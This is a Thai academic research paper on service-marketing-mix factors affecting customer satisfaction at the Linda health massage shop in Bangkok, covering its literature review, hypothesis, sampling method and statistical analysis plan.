จากการศึกษาด้านพฤติกรรมการใช้บริการ SCB EIC Health & Wellness survey (2566) พบว่า ผู้บริโภคส่วนใหญ่ใช้บริการนวดและสปาเป็นครั้งคราว ไม่เกิน 2 ครั้งต่อเดือน และใช้จ่ายบริการนวดและสปาอยู่ที่ไม่เกิน 3,000 บาทต่อปี โดยเฉพาะกลุ่ม Gen Y ซึ่งเป็นกลุ่มคนทำงานมักเลือกใช้บริการนวดแผนไทยในร้านขนาดเล็ก เนื่องจาก มีราคาย่อมเยา และบริการหลากหลาย ขณะที่สปาขนาดกลางและใหญ่พยายามออกโปรโมชั่นเพื่อดึงดูดลูกค้า ทั้งนี้ การเลือกใช้บริการนวดและสปาของผู้บริโภคขึ้นอยู่กับปัจจัยต่าง ๆ ได้แก่ คุณภาพการให้บริการจากเจ้าหน้าที่ ความสะอาดของสถานที่ บรรยากาศ ความเป็นส่วนตัว และรีวิวออนไลน์ นอกจากนี้ การใช้บริการผ่านแพลตฟอร์มออนไลน์ยังเน้นปัจจัยด้านความสะดวก และรีวิวเป็นหลัก (ปภัสสร นิลวงศ์, 2565; นิดานุช ราหุลทัต, 2567) อย่างไรก็ตาม ปัจจัยต่าง ๆ ที่มีผลต่อความพึงพอใจในการใช้บริการ ได้แก่ คุณภาพผลิตภัณฑ์ การกำหนดราคาที่ชัดเจน ความสะอาดของสถานที่ ส่วนลดพิเศษสำหรับสมาชิก และประสิทธิภาพของพนักงาน (ปภัสสร นิลวงศ์, 2565; ณัฐกานต์ มีพัฒน์, 2565) การให้บริการที่ดีควรเน้นการสร้างความพึงพอใจให้กับลูกค้า เช่น การรักษาความสะอาดของอุปกรณ์ที่ใช้ การให้บริการที่เหมาะสม และหลากหลาย รวมถึงการส่งเสริมการขายผ่านโปรโมชั่นต่าง ๆ

จากการศึกษาในด้านปัจจัยที่มีผลต่อความพึงพอใจในการใช้บริการ ปภัสสร นิลวงศ์ (2565) พบว่า ปัจจัยที่มีผลต่อการเลือกใช้บริการมากที่สุด ได้แก่ ด้านผลิตภัณฑ์และบริการ คือ มีการเปลี่ยนผ้าปูที่นอน ปลอกหมอน ผ้าขนหนู และชุดสำหรับผู้ใช้บริการ เพื่อให้บริการครั้งต่อไป ด้านราคา คือ มีป้ายแจ้งราคาค่าบริการชัดเจน ถูกต้อง ด้านสถานที่ คือ สถานที่มีความสะอาดต่อการให้บริการ ด้านการส่งเสริมการตลาด คือ ให้ส่วนลดพิเศษสำหรับสมาชิก เช่น ลด 10% ทุกครั้งที่ใช้บริการ ด้านบุคคล คือ พนักงานมีความเชี่ยวชาญ และมีประสิทธิภาพในการให้บริการ ด้านลักษณะทางกายภาพ คือ ห้องน้ำและห้องเปลี่ยนเสื้อผ้ามีความสะอาด ด้านกระบวนการ คือ มีการเตรียมส่วนผสมที่ใช้ในการให้บริการอย่างรวดเร็ว ขณะที่การศึกษาของณัฐกานต์ มีพัฒน์ (2565) พบว่า ปัจจัยทางการตลาดที่ส่งผลต่อการตัดสินใจเลือกใช้บริการนวดแผนไทย 4 ด้าน ได้แก่ ด้านการส่งเสริมการตลาด ด้านผลิตภัณฑ์ ด้านการนำเสนอทางกายภาพ และด้านกระบวนการ ส่วนด้านราคา ด้านช่องทางการจำหน่าย และการศึกษาของนิดานุช ราหุลทัต (2567) พบว่า ผลิตภัณฑ์ ด้านช่องทางการจัดจำหน่าย ด้านการสนับสนุนการตลาด ด้านบุคลากร ด้านลักษณะทางกายภาพ และด้านกระบวนการ ส่งผลต่อคุณภาพการบริการอย่างมีนัยสำคัญ

แนวทางในการประกอบธุรกิจนวดแผนไทย นภาพร จึงตระกูล (2557) แนะนำว่า ผู้ประกอบการควรให้ความสำคัญกับทำเลที่ตั้ง เช่น ควรอยู่ในแหล่งชุมชน หรือสถานที่ที่เดินทางสะดวก มีการตกแต่งร้านให้สะอาด สวยงาม และได้มาตรฐานความปลอดภัย การแจ้งอัตราค่าบริการที่ชัดเจน และเหมาะสมกับคุณภาพบริการ การคัดเลือกบุคลากรที่มีมนุษยสัมพันธ์ดี สุภาพเรียบร้อย และมีความรู้ความชำนาญด้านการนวดเป็นสิ่งสำคัญ การโฆษณา และการส่งเสริมการขาย เช่น การให้ส่วนลด หรือโปรโมชั่นพิเศษช่วงเทศกาลสำคัญ จะช่วยดึงดูดลูกค้าได้มาก นอกจากนี้ จากการศึกษายังพบว่า เจ้าของกิจการยังขาดประสบการณ์ และความชำนาญ พนักงานมีจำนวนน้อยไม่เพียงพอต่อความต้องการของลูกค้า บรรยากาศในสถานประกอบการบางแห่งไม่เป็นส่วนตัว สถานที่บางแห่งไม่มีที่จอดรถ ทำให้เกิดความไม่สะดวก อีกทั้งผู้ให้บริการบางรายยังขาดความรู้ และความสามารถที่เพียงพอ รวมถึงมีปัญหาด้านมารยาท ความสะอาด และการจัดการพื้นที่บริการ (ลินจง โพชารี, 2560)

จากเหตุผลที่กล่าวมาข้างต้น ผู้ศึกษาในฐานะผู้ประกอบการร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร จึงมีความสนใจที่จะศึกษาปัจจัยที่ส่งผลต่อความพึงพอใจในการใช้บริการร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร โดยนำแนวคิดจากการศึกษาเกี่ยวกับส่วนประสมทางการตลาดบริการ ตามแนวคิดของพิมล เมฆสวัสดิ์ (2550, อ้างถึงใน อิทธิพันธ์ จันทรสาคร, 2565) ซึ่งครอบคลุม 7 ด้าน มาเป็นกรอบแนวคิดในการศึกษา ได้แก่ ด้านผลิตภัณฑ์บริการ ด้านราคาค่าบริการ ด้านสถานที่บริการ ด้านการส่งเสริมแนะนำบริการ ด้านผู้ให้บริการ ด้านสภาพแวดล้อมของการบริการ และด้านกระบวนการบริการ ผลการศึกษานี้สามารถนำข้อมูลที่ได้ไปวิเคราะห์เพื่อปรับปรุงการให้บริการให้มีคุณภาพมากยิ่งขึ้น อันจะนำไปสู่การพัฒนาคุณภาพบริการที่ตอบสนองความต้องการของลูกค้าได้อย่างมีประสิทธิภาพ

วัตถุประสงค์ของการวิจัย 

เพื่อศึกษาปัจจัยที่ส่งผลต่อความพึงพอใจในการใช้บริการร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร โดยใช้แนวคิดส่วนประสมทางการตลาดบริการ 7 ด้าน ได้แก่ 1) ด้านผลิตภัณฑ์บริการ 2) ด้านราคาค่าบริการ 3) ด้านสถานที่บริการ 4) ด้านการส่งเสริมแนะนำบริการ 5) ด้านผู้ให้บริการ 6) สภาพแวดล้อมของการบริการ และ 7) ด้านกระบวนการบริการ

ประโยชน์ที่ได้รับ

1. เพื่อเป็นแนวทางในการพัฒนาการให้บริการ ร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร ผู้ประกอบการจะสามารถนำผลการวิจัยเกี่ยวกับปัจจัยที่ส่งผลต่อความพึงพอใจของผู้ใช้บริการมาใช้เป็นแนวทางในการปรับปรุง และพัฒนาการให้บริการในทุกด้าน เช่น การพัฒนาผลิตภัณฑ์การบริการ การปรับปรุงสถานที่บริการ หรือการพัฒนาบุคลากร เพื่อให้ตอบสนองต่อความต้องการของลูกค้าได้ดียิ่งขึ้น

2. เพื่อกำหนดกลยุทธ์ทางการตลาดที่เหมาะสม ผลการศึกษาจะช่วยให้ผู้ประกอบการร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร และผู้ประกอบการร้านนวดเพื่อสุขภาพสามารถวางแผนการส่งเสริมการขาย การกำหนดราคาค่าบริการ และการประชาสัมพันธ์ที่ตรงกับความคาดหวังของลูกค้า ซึ่งช่วยเพิ่มความสามารถในการแข่งขันและดึงดูดลูกค้าใหม่

3. เพื่อสร้างความพึงพอใจ และความภักดีของลูกค้า ด้วยการใช้ข้อมูลจากการศึกษาร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร และผู้ประกอบการร้านนวดเพื่อสุขภาพจะสามารถระบุปัญหา และจุดที่ควรปรับปรุง ทำให้ลูกค้าได้รับประสบการณ์ที่ดียิ่งขึ้น ซึ่งจะช่วยสร้างความพึงพอใจและเพิ่มความภักดีของลูกค้าในระยะยาว

วรรณกรรมที่เกี่ยวข้อง

ศิริ พันธ์ทา (2562) อธิบายว่า ความพึงพอใจเป็นทัศนคติที่เกิดจากความรู้สึกของบุคคลต่อผลสำเร็จของงาน ซึ่งสัมพันธ์กับแรงผลักดันภายในเพื่อบรรลุเป้าหมาย เมื่อสำเร็จแล้วจะเกิดความพึงพอใจที่สะท้อนกลับไปสู่พฤติกรรมในลักษณะต่อเนื่อง ขณะที่ อิทธิพันธ์ จันทรสาคร (2565) เสริมว่า ความพึงพอใจเป็นความรู้สึกภายในที่แสดงออกผ่านพฤติกรรม ทั้งในรูปแบบความพอใจหรือไม่พอใจ ซึ่งช่วยให้ผู้ให้บริการสามารถประเมินคุณภาพการให้บริการได้อย่างมีประสิทธิภาพ ในทำนองเดียวกัน ศูนย์วิจัยและพัฒนาการสื่อสารการเมืองและสังคม (2567) กล่าวเพิ่มเติมว่า ความพึงพอใจเกิดจากการได้รับผลลัพธ์ตรงตามความคาดหวังของผู้ใช้บริการ โดยมีองค์ประกอบสำคัญ คือ บุคลากรผู้ให้บริการ (Man) การบริหารจัดการ (Management) และการตอบสนองความต้องการของผู้รับบริการ (Customer) ทั้งด้านร่างกาย เช่น ความรวดเร็วในการบริการที่ช่วยลดความทุกข์ และด้านจิตใจ เช่น การช่วยเหลือทันทีที่ร้องขอ นอกจากนี้ ความพร้อมของทรัพยากร เวลา และนโยบายองค์กรที่เอื้อต่อความเป็นธรรมก็ล้วนเป็นปัจจัยที่เสริมสร้างความพึงพอใจ และหัวใจสำคัญของการให้บริการที่ดี คือ “คน” ซึ่งต้องมีใจรักบริการ (Service Mind) และความเต็มใจในการตอบสนองความต้องการของผู้ใช้บริการอย่างจริงใจ

พิมล เมฆสวัสดิ์ (2550, อ้างถึงในอิทธิพันธ์ จันทรสาคร, 2565) กล่าวว่า ส่วนประสมทางการตลาดบริการที่ส่งผลต่อความพึงพอใจของผู้ใช้บริการ ประกอบด้วย

1. ด้านผลิตภัณฑ์ เป็นองค์ประกอบสำคัญที่ส่งผลต่อความพึงพอใจและการตัดสินใจของผู้ใช้บริการ โดยผู้ให้บริการควรเน้นการส่งมอบผลิตภัณฑ์ที่มีคุณภาพ ตรงกับความต้องการของลูกค้า และแสดงออกถึงความเอาใจใส่และความจริงใจในการให้บริการ (พิมล เมฆสวัสดิ์, 2550, อ้างถึงใน อิทธิพันธ์ จันทรสาคร, 2565; ศิริ พันธ์ทา, 2562) สอดคล้องกับการศึกษาของ ณัฐกานต์ มีพัฒน์ (2565) ที่พบว่า ปัจจัยด้านผลิตภัณฑ์ในการเลือกใช้บริการนวดแผนไทยของประชาชนในอำเภอเมืองสุรินทร์ อยู่ในระดับมากที่สุด (M = 4.37) โดยเฉพาะคุณภาพของผลิตภัณฑ์ เช่น สมุนไพร ลูกประคบ และน้ำมันนวด (M = 4.45) เป็นปัจจัยที่มีอิทธิพลสูงสุดในการตัดสินใจ ขณะที่การศึกษาของ นิดานุช ราหุลทัต (2567) พบว่า ผู้ใช้บริการร้านนวดแผนไทยในเขตพญาไทและเขตราชเทวี กรุงเทพมหานครให้ความสำคัญต่อคุณภาพผลิตภัณฑ์ เช่น น้ำมันนวด รวมถึงการมีช่วงเวลาการให้บริการที่เหมาะสม และขนาดของห้องบริการที่สอดคล้องกับความต้องการของลูกค้า โดยปัจจัยเหล่านี้มีค่าเฉลี่ยในระดับมากที่สุดเช่นกัน ซึ่งสะท้อนว่า ผลิตภัณฑ์บริการที่ดีไม่เพียงแต่ต้องมีคุณภาพ แต่ยังต้องตอบสนองความสะดวก และความคาดหวังของผู้ใช้บริการได้อย่างครบถ้วน

2. ด้านราคาค่าบริการถือเป็นปัจจัยสำคัญที่มีผลต่อความพึงพอใจและการตัดสินใจของผู้ใช้บริการ โดยผู้ใช้บริการจะทำการประเมินคุณภาพและรูปแบบของการบริการเทียบกับราคาที่ต้องจ่าย ซึ่งราคาค่าบริการควรมีความเหมาะสมกับคุณภาพของบริการและเป็นไปตามความเต็มใจที่จะจ่าย (Willingness to Pay) ของผู้บริโภค (พิมล เมฆสวัสดิ์, 2550, อ้างถึงใน อิทธิพันธ์ จันทรสาคร, 2565; ศิริ พันธ์ทา, 2562) สอดคล้องกับการศึกษาของ ณัฐกานต์ มีพัฒน์ (2565) ที่พบว่า ปัจจัยด้านราคามีระดับความสำคัญมากที่สุด (M = 4.48) โดยเฉพาะในประเด็นการแจ้งอัตราค่าบริการที่ชัดเจน (M = 4.54) เป็นสิ่งที่ลูกค้าให้ความสำคัญสูงสุด เช่นเดียวกับการศึกษาของ นิดานุช ราหุลทัต (2567) ที่พบว่า ด้านราคามีระดับความพึงพอใจมากที่สุด โดยเฉพาะการบอกราคาที่ชัดเจน ราคาที่เหมาะสมกับช่วงเวลาให้บริการ และราคาที่ใกล้เคียงกับราคามาตรฐานของตลาด ล้วนเป็นปัจจัยที่ส่งผลเชิงบวกต่อความพึงพอใจของลูกค้าอย่างชัดเจน ซึ่งแสดงให้เห็นว่า ความโปร่งใสและความเหมาะสมของราคาค่าบริการมีบทบาทสำคัญต่อการตัดสินใจใช้บริการของผู้บริโภคในธุรกิจนวดแผนไทย

3. ด้านสถานที่บริการ ถือเป็นอีกหนึ่งปัจจัยสำคัญที่ส่งผลต่อความพึงพอใจและการตัดสินใจใช้บริการของผู้บริโภค โดยผู้ให้บริการควรเลือกสถานที่ที่สามารถเข้าถึงได้โดยสะดวก มีพื้นที่กว้างขวางเพียงพอ และเอื้อต่อการอำนวยความสะดวกในทุกด้าน เช่น มีที่จอดรถ หรือสามารถเข้าถึงบริการผ่านระบบออนไลน์ได้ (พิมล เมฆสวัสดิ์, 2550, อ้างถึงใน อิทธิพันธ์ จันทรสาคร, 2565; ศิริ พันธ์ทา, 2562) สอดคล้องกับผลการศึกษาของ ณัฐกานต์ มีพัฒน์ (2565) ที่พบว่า ปัจจัยด้านช่องทางการจัดจำหน่ายอยู่ในระดับมากที่สุด (M = 4.41) โดยเฉพาะสถานที่ที่มีความปลอดภัย (M = 4.45) เป็นประเด็นที่ลูกค้าให้ความสำคัญสูงสุด เช่นเดียวกับการศึกษาของ นิดานุช ราหุลทัต (2567) ที่พบว่า ทำเลที่ตั้งซึ่งเข้าถึงง่าย เดินทางสะดวก มีการแนะนำเส้นทางชัดเจน และมีพื้นที่จอดรถเพียงพอ ล้วนเป็นองค์ประกอบที่ส่งเสริมความพึงพอใจของผู้ใช้บริการอย่างชัดเจน แสดงให้เห็นว่า การจัดเตรียมสถานที่ให้เหมาะสมและตอบโจทย์ความสะดวกสบายของลูกค้า เป็นสิ่งจำเป็นที่ผู้ให้บริการไม่ควรมองข้าม

4. ด้านการส่งเสริมแนะนำบริการเป็นองค์ประกอบสำคัญในการจูงใจให้ผู้ใช้บริการตัดสินใจเลือกใช้บริการ โดยผู้ให้บริการควรนำเสนอข้อมูลข่าวสารเชิงบวก ทั้งด้านคุณภาพและภาพลักษณ์ของบริการผ่านช่องทางสื่อต่าง ๆ อย่างเหมาะสม เพื่อให้ผู้บริโภคสามารถนำข้อมูลไปประเมินและตัดสินใจได้อย่างมั่นใจ (พิมล เมฆสวัสดิ์, 2550, อ้างถึงใน อิทธิพันธ์ จันทรสาคร, 2565; ศิริ พันธ์ทา, 2562) สอดคล้องกับการศึกษาของ ณัฐกานต์ มีพัฒน์ (2565) ที่พบว่า ด้านการส่งเสริมการตลาดอยู่ในระดับมากที่สุด (M = 4.31) โดยเฉพาะการจัดโปรโมชั่นสำหรับลูกค้าแบบแพ็กเกจ ซึ่งได้รับความพึงพอใจสูงสุด (M = 4.45) ขณะที่ นิดานุช ราหุลทัต (2567) พบว่า การสนับสนุนทางการตลาด เช่น การให้สิทธิประโยชน์ที่เหมาะสม การมีช่องทางประชาสัมพันธ์ที่หลากหลาย และการโฆษณาตรงกลุ่มเป้าหมาย เป็นปัจจัยที่ผู้ใช้บริการให้ความสำคัญอย่างมาก แสดงให้เห็นว่า การสื่อสารทางการตลาดที่มีประสิทธิภาพสามารถสร้างความน่าสนใจ และเพิ่มโอกาสในการตัดสินใจใช้บริการได้อย่างชัดเจน

5. ด้านผู้ให้บริการถือเป็นหัวใจสำคัญที่ส่งผลต่อความพึงพอใจของผู้ใช้บริการ ผู้ให้บริการควรตระหนักถึงบทบาทของตนในการสร้างความพึงพอใจ โดยต้องแสดงออกถึงพฤติกรรมการบริการที่ดี มีจิตสำนึกในการให้บริการอย่างจริงใจ เอาใจใส่ และสามารถตอบสนองต่อความต้องการของลูกค้าได้อย่างเหมาะสม (พิมล เมฆสวัสดิ์, 2550, อ้างถึงใน อิทธิพันธ์ จันทรสาคร, 2565; ศิริ พันธ์ทา, 2562) ซึ่งสอดคล้องกับผลการศึกษาของ ณัฐกานต์ มีพัฒน์ (2565) ที่พบว่า ด้านบุคลากรอยู่ในระดับมากที่สุด (M = 4.54) โดยเฉพาะการแต่งกายที่สะอาดและเหมาะสมกับการให้บริการ (M = 4.35) ขณะเดียวกัน นิดานุช ราหุลทัต (2567) พบว่า ผู้ให้บริการที่แต่งกายสุภาพเรียบร้อย มีองค์ความรู้ และพัฒนาทักษะการบริการอย่างต่อเนื่อง เป็นปัจจัยสำคัญที่ส่งเสริมความพึงพอใจของผู้ใช้บริการ แสดงให้เห็นว่า บุคลากรที่มีบุคลิกภาพดี มีทัศนคติบริการที่เหมาะสม และสามารถปฏิบัติงานด้วยความเชี่ยวชาญ มีอิทธิพลต่อการสร้างประสบการณ์ที่ดีให้แก่ลูกค้า

6. ด้านสภาพแวดล้อมของการบริการมีบทบาทสำคัญในการสร้างความพึงพอใจแก่ผู้ใช้บริการ โดยผู้ให้บริการจำเป็นต้องออกแบบสถานที่ให้มีความสวยงาม แบ่งพื้นที่ใช้งานอย่างเหมาะสม และสะท้อนภาพลักษณ์ที่ดีขององค์กรบริการ (พิมล เมฆสวัสดิ์, 2550, อ้างถึงใน อิทธิพันธ์ จันทรสาคร, 2565; ศิริ พันธ์ทา, 2562) ซึ่งสอดคล้องกับ Loureiro, et al. (2013, อ้างถึงใน ละอองทราย โกมลมาลย์, 2556) ที่ชี้ว่า บรรยากาศภายในร้าน เช่น การจัดแสง เสียง อุณหภูมิ และความสะอาด มีผลทางจิตวิทยาต่อความรู้สึกของลูกค้า และเป็นปัจจัยกระตุ้นที่ส่งผลทางอ้อมต่อความพึงพอใจของลูกค้า โดยเฉพาะบริการประเภทสปาที่ต้องอาศัยความรู้สึกผ่อนคลายเป็นสำคัญ ซึ่งผลการศึกษาของ ณัฐกานต์ มีพัฒน์ (2565) ก็สนับสนุนประเด็นนี้ โดยพบว่า ด้านการนำเสนอทางกายภาพอยู่ในระดับมากที่สุด (M = 4.42) โดยเฉพาะประเด็นการแยกพื้นที่ให้บริการระหว่างชายและหญิง (M = 4.51) ขณะที่ นิดานุช ราหุลทัต (2567) พบว่า ลูกค้าให้ความสำคัญกับความปลอดภัย ความสะอาด บรรยากาศที่ดี และการเปิดเพลงเพื่อสร้างความผ่อนคลายระหว่างใช้บริการ สะท้อนว่า การจัดสภาพแวดล้อมทางกายภาพอย่างเหมาะสมไม่เพียงแต่สร้างภาพลักษณ์ที่ดีให้กับสถานบริการ แต่ยังช่วยยกระดับประสบการณ์ของผู้ใช้บริการอย่างมีนัยสำคัญ

7. ด้านกระบวนการบริการถือเป็นปัจจัยสำคัญที่ส่งผลต่อความพึงพอใจของผู้ใช้บริการ โดยผู้ให้บริการต้องวางระบบการดำเนินงานที่มีประสิทธิภาพ คล่องตัว และสามารถตอบสนองความต้องการของผู้ใช้ได้อย่างถูกต้องและรวดเร็ว ผ่านการบริหารจัดการที่ดีและการใช้เทคโนโลยีควบคู่กับบุคลากรที่มีคุณภาพ (พิมล เมฆสวัสดิ์, 2550, อ้างถึงใน อิทธิพันธ์ จันทรสาคร, 2565; ศิริ พันธ์ทา, 2562) ซึ่งสอดคล้องกับผลการศึกษาของ ณัฐกานต์ มีพัฒน์ (2565) ที่พบว่า ด้านกระบวนการอยู่ในระดับมากที่สุด (M = 4.45) โดยเฉพาะขั้นตอนการให้บริการที่ถูกต้องและเหมาะสม เช่น ขั้นตอนการนวดและการอบสมุนไพร (M = 4.49) แสดงให้เห็นถึงความสำคัญของการจัดกระบวนการให้มีความชัดเจนและเป็นระบบ ขณะที่ นิดานุช ราหุลทัต (2567) พบว่า ลูกค้าให้ความสำคัญกับความพร้อมของบุคลากร การไม่เกิดปัญหาระหว่างให้บริการ และความตรงต่อเวลา ซึ่งล้วนเป็นองค์ประกอบของกระบวนการบริการที่ส่งผลต่อความพึงพอใจโดยตรง ดังนั้น การออกแบบกระบวนการบริการที่ดี ไม่เพียงแต่ทำให้ผู้ใช้บริการเกิดความเชื่อมั่นเท่านั้น แต่ยังช่วยลดข้อผิดพลาด และเพิ่มประสิทธิภาพในการให้บริการได้อย่างแท้จริง

งานวิจัยที่เกี่ยวข้อง

จากการทบทวนวรรณกรรม พบว่า หลายงานวิจัยชี้ให้เห็นถึงปัจจัยที่ส่งผลต่อความพึงพอใจของลูกค้าในธุรกิจบริการ โดยเฉพาะร้านนวดและสปา ซึ่งให้ความสำคัญกับทั้งด้านการส่งเสริมการตลาดและคุณภาพการให้บริการ ฐิติพงษ์ โพธิพิพิธ และอรชร มณีสงฆ์ (2559) พบว่า ลูกค้าพึงพอใจในระดับมากต่อการส่งเสริมการตลาดของร้านนวด โดยเฉพาะการให้ส่วนลดและการจัดโปรโมชั่นพิเศษ ขณะที่ อุมาพร ศรีอุ่นลี และวัชระ ยี่สุ่นเทศ (2562) ระบุว่า ลูกค้าให้ความสำคัญต่อการโฆษณาผ่านช่องทางออนไลน์ เช่น เฟซบุ๊ก ไลน์ และกิจกรรมส่งเสริมการขายตามฤดูกาล ซึ่งสอดคล้องกับผลการศึกษาของ มนัสนันท์ เม่งก่วง และธิดาสวรรค์ อินสูนย์ (2565) ที่พบว่า การจัดโปรโมชั่นส่งผลต่อความพึงพอใจในระดับสูง โดยเฉพาะในด้านพนักงานต้อนรับ บรรยากาศ ทรีตเมนต์ และพนักงานนวด นอกจากนี้ ศมน พรหมหิตาทร (2560) พบว่า ผู้ใช้บริการ Day Spa ในกรุงเทพมหานครและปริมณฑลมีระดับความพึงพอใจ โดยรวม อยู่ในระดับมาก (M = 3.85) ขณะที่ ไพโรจน์ สมศรี (2564) ระบุว่า นักท่องเที่ยวชาวไทยที่ใช้บริการสปาในอำเภอบางละมุง จังหวัดชลบุรี มีความพึงพอใจสูงในหลายด้าน ทั้งบุคลากร ลักษณะทางกายภาพ สถานที่ กระบวนการ ช่องทางการจัดจำหน่าย และการส่งเสริมการตลาด ส่วน ชนิกานต์ ตรีวัย และคณะ (2563) เน้นย้ำว่า ความพึงพอใจเกิดจากการเปรียบเทียบระหว่างผลลัพธ์ที่ได้รับกับความคาดหวังของลูกค้า โดยคุณภาพบริการของพนักงานและผลิตภัณฑ์มีอิทธิพลมากกว่าปัจจัยด้านราคา คู่แข่ง หรือสิ่งแวดล้อมอื่น ๆ ซึ่งในธุรกิจบริการอย่างสปา ความสามารถของพนักงาน ความเป็นมืออาชีพ และความสามารถในการสร้างความเชื่อมั่นจึงมีความสำคัญยิ่ง กล่าวโดยสรุป งานวิจัยเหล่านี้ล้วนชี้ให้เห็นว่า ความพึงพอใจของลูกค้าขึ้นอยู่กับทั้งการจัดการประสบการณ์บริการที่ดี การมีพนักงานที่มีทักษะและความเอาใจใส่ ตลอดจนการใช้กลยุทธ์ส่งเสริมการตลาดอย่างมีประสิทธิภาพ

กรอบแนวคิดสำหรับการวิจัย

การศึกษาปัจจัยที่ส่งผลต่อความพึงพอใจในการใช้บริการร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร ประกอบด้วย ตัวแปร 2 ตัว ดังนี้

1. ตัวแปรอิสระ ได้แก่ ปัจจัยที่ส่งผลต่อความพึงพอใจในการใช้บริการ ได้แก่ ส่วนประสมทางการตลาดบริการ ของพิมล เมฆสวัสดิ์ (2550, อ้างถึงในอิทธิพันธ์ จันทรสาคร, 2565) 7 ด้าน ประกอบด้วย ด้านผลิตภัณฑ์บริการ ด้านราคาค่าบริการ  ด้านสถานที่บริการ ด้านการส่งเสริมแนะนำบริการ ด้านผู้ให้บริการ ด้านสภาพแวดล้อมของการบริการ และด้านกระบวนการบริการ

2. ตัวแปรตาม ได้แก่ ความพึงพอใจในการใช้บริการร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร

ภาพประกอบ 1 กรอบแนวคิดในการวิจัย

สมมติฐานการวิจัย

ปัจจัยส่วนประสมทางการตลาดบริการ ส่งผลต่อความพึงพอใจในการใช้บริการร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร

วิธีดำเนินการวิจัย

ประชากรและกลุ่มตัวอย่างที่ใช้ในการศึกษา

ประชากรในการศึกษาครั้งนี้ คือ ลูกค้าที่มาใช้บริการร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร โดยพิจารณาจากสถิติการให้บริการระหว่างเดือนธันวาคม 2566 ถึงพฤศจิกายน 2567 พบว่า มีลูกค้าเฉลี่ยประมาณ 500 คนต่อเดือน กำหนดขนาดกลุ่มตัวอย่างโดยใช้สูตรของ Yamane (1970) ที่ระดับความเชื่อมั่น 95% และค่าความคลาดเคลื่อน 0.05 ได้กลุ่มตัวอย่างจำนวน 222 คน การสุ่มกลุ่มตัวอย่างใช้วิธีการสุ่มแบบเป็นระบบ โดยเลือกจากผู้ใช้บริการทุก 5 คน ในแต่ละช่วงเวลา ได้แก่ ช่วงกลางวัน (เวลา 10.00 น.) และช่วงกลางคืน (เวลา 18.00 น.) ดำเนินการสุ่มในช่วงเดือนธันวาคม 2567 ถึงมกราคม 2568 จนครบตามจำนวนที่กำหนด การเก็บข้อมูลใช้แบบสอบถามออนไลน์ เพื่อความสะดวกในการเข้าถึง ลดเวลาในการจัดการข้อมูล และลดค่าใช้จ่ายในการเก็บข้อมูล

เครื่องมือที่ใช้ในการศึกษา

1. วิธีการเก็บรวบรวมข้อมูลในการศึกษาครั้งนี้ ใช้ทั้งข้อมูลปฐมภูมิและข้อมูลทุติยภูมิ โดยข้อมูลปฐมภูมิได้จากแบบสอบถามออนไลน์ผ่าน Application Line จากกลุ่มตัวอย่างจำนวน 222 คน ที่มาใช้บริการร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร ระหว่างเดือนธันวาคม 2567 ถึงมกราคม 2568 ซึ่งแบบสอบถามพัฒนาจากแนวคิดส่วนประสมทางการตลาดบริการ 7 ด้านของพิมล เมฆสวัสดิ์ (2550, อ้างถึงในอิทธิพันธ์ จันทรสาคร, 2565) ได้แก่ ด้านผลิตภัณฑ์บริการ ด้านราคาค่าบริการ  ด้านสถานที่บริการ ด้านการส่งเสริมแนะนำบริการ ด้านผู้ให้บริการ ด้านสภาพแวดล้อมของการบริการ และด้านกระบวนการบริการ ส่วนข้อมูลทุติยภูมิได้จากเอกสาร งานวิจัย วิทยานิพนธ์ และบทความที่เกี่ยวข้อง เมื่อรวบรวมข้อมูลแล้วได้ตรวจสอบความถูกต้อง ถอดรหัสลงแบบฟอร์ม และนำเข้าสู่โปรแกรมสำเร็จรูปทางสถิติเพื่อวิเคราะห์และอภิปรายผลการศึกษา

2. สถิติที่ใช้ในการวิจัย ในการวิเคราะห์ข้อมูลจากแบบสอบถามจำนวน 222 ชุด ผู้วิจัยใช้โปรแกรมสำเร็จรูปทางสถิติในการประมวลผล แบ่งการวิเคราะห์ออกเป็น 2 ประเภท ได้แก่ สถิติเชิงพรรณนาและสถิติเชิงอนุมาน ดังนี้

2.1 สถิติพรรณนา ใช้เพื่อวิเคราะห์ลักษณะส่วนบุคคล และพฤติกรรมของกลุ่มตัวอย่าง รวมถึงระดับความคิดเห็นต่อปัจจัยส่วนประสมทางการตลาดบริการ และความพึงพอใจในการใช้บริการ โดยใช้สถิติค่า ความถี่ (Frequency) ร้อยละ (Percentage) ค่าเฉลี่ย (Mean) และส่วนเบี่ยงเบนมาตรฐาน (Standard Deviation)

ตารางที่ 1 ตารางเกณฑ์การแปลผลระดับค่าเฉลี่ย

ระดับความคิดเห็น / ความพึงพอใจคะแนน
เห็นด้วย / พึงพอใจ มากที่สุด4.21 – 5.00
เห็นด้วย / พึงพอใจ มาก3.41 – 4.20
เห็นด้วย / พึงพอใจ ปานกลาง2.61 – 3.40
เห็นด้วย / พึงพอใจ น้อย1.81 – 2.60
เห็นด้วย / พึงพอใจ น้อยที่สุด1.00 – 1.80

2.2 สถิติเชิงอนุมาน ใช้ทดสอบสมมติฐานของงานวิจัย โดยศึกษาความสัมพันธ์ระหว่างปัจจัยส่วนประสมทางการตลาดบริการ กับความพึงพอใจในการใช้บริการ โดยใช้สัมประสิทธิ์สหสัมพันธ์เพียร์สัน (Pearson Correlation Coefficient)

ตารางที่ 2 เกณฑ์การแปลความหมายค่าสัมประสิทธิ์สหสัมพันธ์ (Best, 1977)

ค่าสัมประสิทธิ์ (r)ระดับความสัมพันธ์
0.00 – 0.20มีความสัมพันธ์ในระดับ ต่ำมาก
0.21 – 0.50มีความสัมพันธ์ในระดับ ต่ำ
0.51 – 0.80มีความสัมพันธ์ในระดับ ปานกลาง
0.81 – 1.00มีความสัมพันธ์ในระดับ สูง

หมายเหตุ: ค่าสัมประสิทธิ์สามารถเป็นได้ทั้งบวก (แปรผันตรง) และลบ (แปรผกผัน)

